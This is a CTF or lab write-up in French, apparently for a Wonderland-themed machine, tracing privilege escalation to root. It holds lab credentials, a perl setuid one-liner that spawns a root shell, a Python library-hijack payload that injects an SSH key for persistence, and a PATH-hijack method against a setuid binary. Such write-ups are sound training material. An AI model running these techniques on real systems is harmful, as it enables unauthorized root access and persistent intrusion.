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alice:HowDothTheLittleCrocodileImproveHisShiningTail

usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
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python3 -c 'import sys; print(sys.path)'
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Dans le random.py on met : 
import os
os.system('mkdir -p /home/rabbit/.ssh && cat /home/alice/id_rsa.pub >> 
/home/rabbit/.ssh/authorized_keys')
os.system('chmod 700 /home/rabbit/.ssh && chmod 600 /home/rabbit/.ssh/authorized_keys')
print('Exploit successful: ssh key injected.')

On doit créer une persistance pour le user rabbit pour ensuite transférer un fichier avec scp : 
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On a un executable en elf donc on l'ouvre avec ghidra. 

On convertie le code en asm en c pour mieux le lire. Et on voit la fonction main : 

Les premières lignes donne le droits du programme en 1003 ce qui correspond au user 
Hatter. Donc quand le programme est exécuté, il s'exécute en tant que Hatter. 

On remarque aussi que pour lancer la commande date, le programme ne prend pas le chemin 
absolue cad /bin/date. 

Donc ça veut dire que le programme va chercher dans le PATH pour savoir dans quel dossier le 
programme date pourrait être. 

Donc ce qu'on peut faire c'est créer notre propre programme date et mettre un shell dedans.
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Et hop on est le hatter. 

Hatter : WhyIsARavenLikeAWritingDesk?

On se connecte en ssh : 

On peut devenir root en utilisant le capabilités avec perl qu'on a vu tout à l'heure avec linpeas : 
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Root.txt : 

User.txt
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